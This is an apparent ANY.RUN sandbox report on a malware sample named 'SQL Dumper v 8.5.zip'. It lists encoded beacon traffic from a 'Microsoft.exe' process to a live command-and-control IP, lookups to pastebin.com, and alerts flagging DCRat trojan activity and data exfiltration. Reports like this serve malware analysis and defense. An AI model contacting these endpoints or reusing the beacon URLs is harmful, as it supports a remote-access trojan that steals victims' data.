UdNRVT1tGRPhHN550dFpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiQWY1QzMhVjZ4gTZmZmNmNmZkljYiZmNlFmZyMGOxYWMiwiIiJDM2IjZ1YjMjZjNjZjM0ETN3kTYwYGOhdTNhZjZzUWMjV2MlBjNkJiOiMGOjNDM5AjMjJ2Y4AzYzIGMhFzYldDOxAjYhVTMkJ2YiwiImZmNhJjY4IWMmVWOkR2Y2UmY4YWMkNmZjJWZ4ImZjNGO2QDN5ETNzIiOikTYzIWOiNjZidjZ3QDMiZmYxQTOllTOhZmN3kzMxQWNis3W
unknown
text
104 b
unknown
2928
Microsoft.exe
GET
200
94.131.112.229:80
http://94.131.112.229/b1e57687.php?0OqhDBKQIXk89SYjvQDzYLYxCygr0r=ciCmDgntaOqapAEtrP&ea65d994477286bc5bb7a3a3a1499121=f7ec6ef7f07bfd214a2643da8cfda4ec&19c7d55e76eb5f2989514a767abccb1a=gYyIWOlhTOidTYwkTMlR2M1IjZ1AjNyUTOwUzMzIWOlFWNxQTMxImN&0OqhDBKQIXk89SYjvQDzYLYxCygr0r=ciCmDgntaOqapAEtrP
unknown
text
2.10 Kb
unknown
2928
Microsoft.exe
GET
200
94.131.112.229:80
http://94.131.112.229/b1e57687.php?9wqw6DfNUvaZEhgV5Cc=mAdRNKxcY6jClCs9nEU3L&8d217a380a2b0a4c6866905b74e17a20=kFGZlZ2M1YTYzMWOmVGN1IWO3YWYjdzY5UTO2Q2M0UDOxYGZkRWN2MjN1UDN1EDOzITO1kTN&19c7d55e76eb5f2989514a767abccb1a=gY2kTO4IDN0QmYwMWM0QTNmZWN5MWOlNzNlRGZ3MGZ5gTY4QWN2YjM&da30cd2ff4bf14e7c7e2a05392524306=QX9JCNr9EMWdkYzZkMWdGOHR2ds52YEJUejhGarNkT0s2TwY1RiNnRyY1ZRNzYxoESWtEMnRlNRhlWzh3VZhlQTFmdKNjYaBXUE9EcERGb4dkYoRmRJlmVyY1Z0ADVVBXUE9EcERGb4dkYoRmRJRXOHRWdGdUYRBXUE9EcERGb4dkYoRmRJlmVyY1ZVJTW1ZUbiBnSrNkT0s2TwY1RiNnRyY1Z0cVY1lTbVtEMnRlNRhlWzh3VZhlQ5FWdsdEV1lTbjVFcRR0TwREZsh3RihGZGlkcOhVWOZ0RkxWMrNkT0s2TwY1RiNnRyY1ZnJzYo5UbXtEMnRlNRhlWzh3VZhlQ5JWeW1mY2FzaD5ENr9EMWdkYzZkMWdWVtNmdOtmYwljMZxmUYFWTwFFRPBHRkxGeHJGakZUS6ZFSaZHaYJ1SwcGV2EFWaNHeXlFWCNlYxYVbjxGaHRmRwFFRPBHRkxGeHJGakZUS0ZlbjBjTXp1cWt2QORzaPBjVHJ2cGJjVnVVbjZnTFFmeGdkULBzZUZTUYp1c4dVWYJUaiBXOykFbShVZDBXUE9EcERGb4dkYoRmRJxmSzIGR1cVY250RkBnSrNkT0s2TwY1RiNnRyY1ZNdVY0lzRkJEcRR0TwREZsh3RihGZGlUNKNjY0pEWRtEMnRlNRhlWzh3VZhlQTpla1cVW1xWbRJiOiQWY1QzMhVjZ4gTZmZmNmNmZkljYiZmNlFmZyMGOxYWMiwiIilDO1YzN5YWYxIGM4IWY1ATO0MjYwUTYwYzNxUmYzQWZ2gTMzEmZ0IiOiMGOjNDM5AjMjJ2Y4AzYzIGMhFzYldDOxAjYhVTMkJ2YiwiImZmNhJjY4IWMmVWOkR2Y2UmY4YWMkNmZjJWZ4ImZjNGO2QDN5ETNzIiOikTYzIWOiNjZidjZ3QDMiZmYxQTOllTOhZmN3kzMxQWNis3W
unknown
text
104 b
unknown
2928
Microsoft.exe
GET
200
94.131.112.229:80
http://94.131.112.229/b1e57687.php?9wqw6DfNUvaZEhgV5Cc=mAdRNKxcY6jClCs9nEU3L&8d217a380a2b0a4c6866905b74e17a20=kFGZlZ2M1YTYzMWOmVGN1IWO3YWYjdzY5UTO2Q2M0UDOxYGZkRWN2MjN1UDN1EDOzITO1kTN&19c7d55e76eb5f2989514a767abccb1a=gY2kTO4IDN0QmYwMWM0QTNmZWN5MWOlNzNlRGZ3MGZ5gTY4QWN2YjM&b302823833ae322b8e9ce4b7812a8d9a=d1nIjVmZzQ2YklDNiRmMmJWMmRDMlBDNmdDNkF2Y5cDOiVmM5QTZlVTNiJiOiMGOjNDM5AjMjJ2Y4AzYzIGMhFzYldDOxAjYhVTMkJ2YiwiImZmNhJjY4IWMmVWOkR2Y2UmY4YWMkNmZjJWZ4ImZjNGO2QDN5ETNzIiOikTYzIWOiNjZidjZ3QDMiZmYxQTOllTOhZmN3kzMxQWNis3W&000f87d4164c8737a1e81f7f9c9fda31=d1nIiojIkFWN0MTY1YGO4UmZmZjZjZGZ5ImYmZTZhZmMjhTMmFjIsIyYlZ2MkNGZ5QjYkJjZiFjZ0ATZwQjZ3QDZhNWO3gjYlJTO0UWZ1UjYiojIjhzYzATOwIzYiNGOwM2MiBTYxMWZ3gTMwIWY1EDZiNmIsIiZmZTYyIGOiFjZllDZkNmNlJGOmFDZjZ2YiVGOiZ2YjhjN0QTOxUzMiojI5E2MiljYzYmY3Y2N0AjYmJWM0kTZ5kTYmZzN5MTMkVjI7xSfikTMulUavpWSyUFRaVTTtpVaSRlTrJlaNJTWE90aWRUT3l0VPRTSUlFNVpXTsp1RaRTUq1kaad0TrZlaNVTSDxUaBpWS2k0QNRTUX50aSdUT4FkaNFzZU9EbOdVWrRmaadXVH9EbGdVTo5keOpXWE9UbaRkT1UERaNTQU1Ua3lWSvkUaPlWUql1MV1WWqZ1VNpmV61kMBpnTrxGVNpmSH9UbSdkTyklMNhXTUpVeVRVTzkFVNRTWH90MnpWS3AnaJhmUYlVRShUZsp0QMFzbqlEMWNjYsFzVhVlQYpFb4JTVpdXaJxmWYFGMOdVUp9maJpnVIRGaSNTV1IFWhJDbHRmaGtWSzl0QjBHcuxUM0M0TnlFSJlnVHNGdWhkUndXVVRlSp9UajNjYrVzVhhlUxElQKNETpRzaJZTSTJGaO1WWsRWMjBnSDxUarxWS2k0UaVXOHF2d502Yqx2VUpHbtl0cJN1S6FUeaVHbHN2dWdEZUJ0QOhXQDJGbSJjYOJUaOd2aIJGcxcVWHJ0QOJzZIt0Zvh0UIJkeOVXSElUQCNlVR5URJdXQE5kMwMlTwJ0UL5kUGtEbKNjYEJ0ULNFaDJGbS5mYKpUaPlWVXJGa1UlVR50aJNXSTtkQ5kGVvFUajxmUINGaSdVUn10MZBHaHNGaKNjUnVEMSdlQDpVeGdkW1Z0RkRlSp9UaVdlYoVTVWFFZrl0cJlGVp9maJVHbXJ2aGBzYwp0QMlWSp9UajVVUVp0QMlWUYF2QClWT6F0QihWNyIGcONzYsplMilnQGl0MBl3YzkzRaVHbyYVavpWS5ZVbWVHbyYVa3NlZpNWbjFTOtlFdWdUZxgHMMxmQzIWeWhlUp9maJxWNyImNWdlYwJlbJNXSD10dBRUT3FkaJZTSDJGaSNzY2JkbJNXS5pVeWNjYpFzVaRjVIR1ZwMUSrZ1Vh1GbykFbCNzYnF1Mi9kSp9Uaj12Y2p0QMlWUU9UeFpGTycXeNhXRq5UdrRkTp9maJpWOHJWa3lWSWh3aJZTSTVWeS5mYxkjMZl2dplkbKhFZ2p0VixGaYRWTKl2TpRjMiBHZXpVeKNETpNWbjFTOtlFdWdUZxg3aJZTSTVGMsJTWpdXaJd3ZU1UdNRVT1tGRPhHN550dFpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiQWY1QzMhVjZ4gTZmZmNmNmZkljYiZmNlFmZyMGOxYWMiwiIiJDM2IjZ1YjMjZjNjZjM0ETN3kTYwYGOhdTNhZjZzUWMjV2MlBjNkJiOiMGOjNDM5AjMjJ2Y4AzYzIGMhFzYldDOxAjYhVTMkJ2YiwiImZmNhJjY4IWMmVWOkR2Y2UmY4YWMkNmZjJWZ4ImZjNGO2QDN5ETNzIiOikTYzIWOiNjZidjZ3QDMiZmYxQTOllTOhZmN3kzMxQWNis3W
unknown
text
104 b
unknown
2928
Microsoft.exe
GET
200
94.131.112.229:80
http://94.131.112.229/b1e57687.php?9wqw6DfNUvaZEhgV5Cc=mAdRNKxcY6jClCs9nEU3L&8d217a380a2b0a4c6866905b74e17a20=kFGZlZ2M1YTYzMWOmVGN1IWO3YWYjdzY5UTO2Q2M0UDOxYGZkRWN2MjN1UDN1EDOzITO1kTN&19c7d55e76eb5f2989514a767abccb1a=gY2kTO4IDN0QmYwMWM0QTNmZWN5MWOlNzNlRGZ3MGZ5gTY4QWN2YjM&da30cd2ff4bf14e7c7e2a05392524306=d1nILBTQNJiOiQWY1QzMhVjZ4gTZmZmNmNmZkljYiZmNlFmZyMGOxYWMiwiIkJGZhFDZ4ADNkVTOlZDOwkTMklDNidTYwQmZxAjYiBzMlljM4QDOiJiOiMGOjNDM5AjMjJ2Y4AzYzIGMhFzYldDOxAjYhVTMkJ2YiwiImZmNhJjY4IWMmVWOkR2Y2UmY4YWMkNmZjJWZ4ImZjNGO2QDN5ETNzIiOikTYzIWOiNjZidjZ3QDMiZmYxQTOllTOhZmN3kzMxQWNis3W
unknown
text
104 b
unknown
2928
Microsoft.exe
GET
200
94.131.112.229:80
http://94.131.112.229/b1e57687.php?9wqw6DfNUvaZEhgV5Cc=mAdRNKxcY6jClCs9nEU3L&8d217a380a2b0a4c6866905b74e17a20=kFGZlZ2M1YTYzMWOmVGN1IWO3YWYjdzY5UTO2Q2M0UDOxYGZkRWN2MjN1UDN1EDOzITO1kTN&19c7d55e76eb5f2989514a767abccb1a=gY2kTO4IDN0QmYwMWM0QTNmZWN5MWOlNzNlRGZ3MGZ5gTY4QWN2YjM&b302823833ae322b8e9ce4b7812a8d9a=d1nIjVmZzQ2YklDNiRmMmJWMmRDMlBDNmdDNkF2Y5cDOiVmM5QTZlVTNiJiOiMGOjNDM5AjMjJ2Y4AzYzIGMhFzYldDOxAjYhVTMkJ2YiwiImZmNhJjY4IWMmVWOkR2Y2UmY4YWMkNmZjJWZ4ImZjNGO2QDN5ETNzIiOikTYzIWOiNjZidjZ3QDMiZmYxQTOllTOhZmN3kzMxQWNis3W&000f87d4164c8737a1e81f7f9c9fda31=0VfiIiOiQWY1QzMhVjZ4gTZmZmNmNmZkljYiZmNlFmZyMGOxYWMiwiIjVmZzQ2YklDNiRmMmJWMmRDMlBDNmdDNkF2Y5cDOiVmM5QTZlVTNiJiOiMGOjNDM5AjMjJ2Y4AzYzIGMhFzYldDOxAjYhVTMkJ2YiwiImZmNhJjY4IWMmVWOkR2Y2UmY4YWMkNmZjJWZ4ImZjNGO2QDN5ETNzIiOikTYzIWOiNjZidjZ3QDMiZmYxQTOllTOhZmN3kzMxQWNisHL9JSUmFzbqlEMWNjYsFzVhVlQYpFb4JTVpdXaJxmWYFGMOdVUp9maJpnVIRGaSNTV1IFWhJDbHRmaGtWSzl0QjBHcuxUM0M0TnlFSJlnVHNGdWhkUndXVVRlSp9UajNjYrVzVhhlUxElQKNETpRzaJZTSTJGaO1WWsRWMjBnSDxUarxWS2k0UaVXOHF2d502Yqx2VUpHbtl0cJN1S6FUeaVHbHN2dWdEZUJ0QOhXQDJGbSJjYOJUaOd2aIJGcxcVWHJ0QOJzZIt0Zvh0UIJkeOVXSElUQCNlVR5URJdXQE5kMwMlTwJ0UL5kUGtEbKNjYEJ0ULNFaDJGbS5mYKpUaPlWVXJGa1UlVR50aJNXSTtkQ5kGVvFUajxmUINGaSdVUn10MZBHaHNGaKNjUnVEMSdlQDpVeGdkW1Z0RkRlSp9UaVdlYoVTVWFFZrl0cJlGVp9maJVHbXJ2aGBzYwp0QMlWSp9UajVVUVp0QMlWUYF2QClWT6F0QihWNyIGcONzYsplMilnQGl0MBl3YzkzRaVHbyYVavpWS5ZVbWVHbyYVa3NlZpNWbjFTOtlFdWdUZxgHMMxmQzIWeWhlUp9maJxWNyImNWdlYwJlbJNXSD10dBRUT3FkaJZTSDJGaSNzY2JkbJNXS5pVeWNjYpFzVaRjVIR1ZwMUSrZ1Vh1GbykFbCNzYnF1Mi9kSp9Uaj12Y2p0QMlWUU9UeFpGTycXeNhXRq5UdrRkTp9maJpWOHJWa3lWSWh3aJZTSTVWeS5mYxkjMZl2dplkbKhFZ2p0VixGaYRWTKl2TpRjMiBHZXpVeKNETpNWbjFTOtlFdWdUZxg3aJZTSTVGMsJTWpdXaJd3ZU1UdNRVT1tGRPhHN550dFpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiQWY1QzMhVjZ4gTZmZmNmNmZkljYiZmNlFmZyMGOxYWMiwiIiJDM2IjZ1YjMjZjNjZjM0ETN3kTYwYGOhdTNhZjZzUWMjV2MlBjNkJiOiMGOjNDM5AjMjJ2Y4AzYzIGMhFzYldDOxAjYhVTMkJ2YiwiImZmNhJjY4IWMmVWOkR2Y2UmY4YWMkNmZjJWZ4ImZjNGO2QDN5ETNzIiOikTYzIWOiNjZidjZ3QDMiZmYxQTOllTOhZmN3kzMxQWNis3W
unknown
text
104 b
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
1080
svchost.exe
224.0.0.252:5355
—
—
—
unknown
4
System
192.168.100.255:138
—
—
—
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
2588
svchost.exe
239.255.255.250:1900
—
—
—
whitelisted
2928
Microsoft.exe
104.20.67.143:443
pastebin.com
CLOUDFLARENET
—
unknown
2928
Microsoft.exe
94.131.112.229:80
—
ZAYO-6461
US
unknown

DNS requests

Domain
IP
Reputation
pastebin.com
  • 104.20.67.143
shared

Threats

PID
Process
Class
Message
2928
Microsoft.exe
A Network Trojan was detected
ET MALWARE DCRAT Activity (GET)
2928
Microsoft.exe
A Network Trojan was detected
ET HUNTING Observed Malicious Filename in Outbound POST Request (Information.txt)
1 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
SQL Dumper v 8.5.zip